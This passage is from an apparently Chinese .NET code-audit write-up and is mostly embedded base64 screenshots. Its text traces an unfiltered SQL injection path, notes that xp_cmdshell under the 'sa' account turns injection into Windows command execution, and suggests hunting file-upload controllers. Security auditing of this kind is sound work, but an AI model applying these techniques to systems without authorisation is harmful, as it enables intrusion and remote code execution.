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 truncated
|
||||
<p blockindex=27>然后找到systemService的ExecuteSqlForSingle函数</p>
|
||||
<p blockindex=28><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=29>然后跟进ExecuteScalarSQLToObject可以发现没有任何过滤,直接执行sql语句。</p>
|
||||
<p blockindex=30><img src=data:image/png;base64,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 truncated
|
||||
<h4 blockindex=31>题外话:</h4>
|
||||
<p blockindex=32>还能够看看webconfig文件的sql配置,如果默认用户是sa的话,可以通过sa这个用户直接使用xp_cmdshell直接执行windows cmd命令。这也是.net中比较有意思的一点,注入有时候就是rce。因为.net大多数都是用sql server作为数据库,而sql server有个xp_cmdshell可以执行系统命令。</p>
|
||||
<h3 blockindex=33>0x03 文件上传1</h3>
|
||||
<p blockindex=34>对于.net的文件上传来说可以通过一些controller命名的方式寻找突破口,比如很多开发都习惯性命名为fileController表示文件操作的控制器,比如uploadController,fileController,downloadController等等命名的Controller就是极好的一个突破口,很容易能寻找到各种文件操作的控制器。</p>
|
||||
<p blockindex=35><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAY4AAAAeCAYAAAA7FfmLAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOy9ebQkR33n+4klMytrr7r77X3fJHVLam2AEAgJA5LAz4ZhM2DEsBhmDB7AgI0xhgc2zBub8WA0BtswxixCNotALDJoBSSB9pa6W+q9++5r1a09MyPi/ZHVLeHDPB/seQdxjn731LmVVZmVkZkR8f2t3xBnn322A3DOARCGIblcjieLEOLMf+cczrkzn/0icvoc//ZjBcZYBAIhBNZZQFBbWqZSqSKVpBdFnP55a82Z45VUNOp1Ot0evuczPjaGVprl5SWSxNDrdfB9n3yxiO8HJEkCOKQCKQRxkiARSKEQGAQGLSwKhxAS5xS4ACsEPdHFYjHGYo0DJNaBcY4gkyUIszQ6NeKkQzbI0GmuEAiLsWB1Dg/woxbO83DZHOWcotdYIO4maJVBZXPkSyWUEiilcNZhE8HKYoc4cjgnkErRiXoYEWFlTCAlGItzAQhNdbBMoZBnaWmZVmOZbEZgrcUYsNaBEAgncMYSO4MTEAYZpJDgIO7FSCeR2SwNAabXo6A8EmeIbIK1AufAigSlBRntEXXaKBHjUFgXgjAgOiipCbwQTwucTTCmizUxxml8L0C7mG67AVKAVDgUCQlGJEgqKKoI2UTINtKBcJLAL9FuxxgBmWyWdtQDCWCBtB86a7HOYJIEZxwCkV4f9uf0QAvCgpOQ9gSEUzgnwIHAIaUDEhBdEG2cy+LsAMZGCNnF9wI8P0CJBIjAWVqtNkGmgBQ+SQKdOCZXLmN7CTqBdtwhVhYlHbgE5TTKqX47JQ5J2nJHOkLEk9rbwMl6f1viXAFBAZMEgJfuLzU4DaKHoIUQ3fS9rSBsCeQiTjQQtoAgQMoIiBBEgIcSBaTyyOVztLsrGHpIL0LomHbLYBKFQCPRJIlFiARBGykNYHAuCy4Pog2iiUCnbXN+2i5AyPTqnHD9J/e0/LJFP3nj9IRurUUpBTwx2Z+W09v/8vNfRP5txwpAoJWH7YMILm3v2rXr8bRHo9kk8GU6wEmvQwhBHEdMT09x7W+/nrPPPps77riT79/8z6xetYqVWo2rr7mGvXvPY/+BA9z4rW8xMDCIczYdjE7ghEBJBSgEHtK59CW6ICOEkEgnwCVI6TDEGCxKCFASnEAIhXMSIcB022gETmnipEUQWEIlSIzB6C7CSiwKYy30OjRdG1+3GB4pEagMLqySkE1By1mMi4l7DRx1lAdKShKTwdMZpBBYqVFCIITDOUUY5ijkiwghKBVLCJtgeg2cs2lb8cEGaNFFqgRBBiMV1nRwLiGJLOViCRPHJEkT2euRC0OwBoXAl4ASGGtxMsHzBQcfeZhdO3birAY01imckP17K+h2Wix3Fwh8Qz5bxfczJFaDUDhh0EGAEBJrBdZKBD1arVkkEdViof+80/srhAAR4QWngb2NpxISa3G4n1GEpAClFWgQpM9KynSyMolBSol1FgFIlfY558BZgUSmfdm59Ht5uq8qpApwToMzJEkPqXso6YEVWJGAiAEIQh9HhCFGKChlMkjaKE+i+/dHKoWSFuEUvtF4zsMgMULiUP1rT1BKY4wjBUYLIkTI00AisM5HCIlSDmtjkALnIsClwCfSZyNEgrAJzrZBxEglEM6ATcFOoPsTvEWIBlEU01k0JK5OwjJ+pohUIc5lkFKngIzE9zQ4H0EGMOl5pQLnkWp7QQrEpM8RwRmgSEEjBY6nweOXL/LJG0+2KH6e/HvA4t8n4sxLSIlWHkp5SKmJejGXXfZcNm/egjEWpTVKabRSaK1QUiKlRCnFNS9+Mbt27WJwcADP1ygp8DzNpo0b2Lx5E1dfczVLS4uAQ/ePEafPKxRSpAMmSQwr9SVm5o9zYnI/p04dZHrqCPXlSYTrIEkQLkEKi5IWrSyecARC4gPaWYS1bFi/Dk87ED2MjajXZ5ifexQrlsEX5MtFBqsVBioVxlaNcdmle9m7ZyO+J5DKQwkfLXy00nRay2zfuYa3v+N1VKsCaxrgDMKBRAMShMRaR6FQAAfSCTytGRgYpFQZRCsP4QTCSaKepd2Yx0azONfFCUe3N8/J4/cjkia9Vg2lYmYnDhPGTTKmgycjpIhQIkEJg5aGuFfnt17967z5Ta+m01rE91Is1SoFONA4Z5EyRusmmbCB0j2EEGjl45zEOYHSHlJ4KOmjhI9zjhdd/Tze+tZr6XaX6XXbKOGDUyk42zbN5hTN1iTW1pGihyRKnwsJEoMUNgUOCVpKtFJImVpxOIdUEikFUgiklAhUqiRIhVISIRxSWpQ0KGmQJCjpkBKkUChhcK5OrzeLSebTNrgnbIIzXZsYIXpAm/ryBAMFjze85mWMVEOki3DWEkURxkQI06FTn2GlNsXy0iSt5gLWdlNrRApwDiUFgtMTfBbhsghClEiBTMkE59oo2UWrFkLMI2UTgUMrDy0ljh7ONYAYrSRKJigVoZVDCYHCB2vJZhOuufqZ+EGPc89bxVUvPovELhDHXbQHUlmEsDhncNb0+5gPNoMkC87DJDHOSLAZbKIRzkNJfQbgHemc9DRoPHVE/uu7PBXkCRdXEifU63XqtRqe1rztbW/j3e95O5VKlTiOkUIi4IwbS/QnglKpTLVa5b777uOmb38bZy1JEqO15rrrrmN+YZFisUQ2zDI2Npa6a5CA1zeZJQhIbJet28p85GOv4zNf+j1uuvOj3PS9j/HNb/w5H/jg26ivLCBcQNSRGNPXUI1FI/EsuMggjCOX9ZmeOQ62g4m7WB3wht95Pdf91XsYqljGx4cZHRtieKzKC1/4fHZv38XY0BhrVq1FS5B9YDo9+SU2oVgqsfucPXgiIOt7SNsG0cOJGCsjrIhYu3Ydvg5Sa8ilrjwpJdmwwNDwagq5CknS4ty9a/j9976ELdtqSO8EUXKK5zx3mO/c9HEG8hFZz4IX84ZrX8Wfv/+9ZJIWzfoUQjRxqo0SPTQxznUYGs4xPBSgRB1lVvBEF02ExCKlxLkmu88d5YMfegPr1hvarZMIejhrUEIjEWgUCoV0PlrkUWQp5gfYsWM7w8N5Ur+YBgfGdqnVT/CBP3kLH/rwm6jXD+OSHsoJtAMPhS8UnlBoJAoFTmAtgMQYSBKHs2BtqgFbK4hjSxyfducZrIuwttefZHtYF+McCDxwA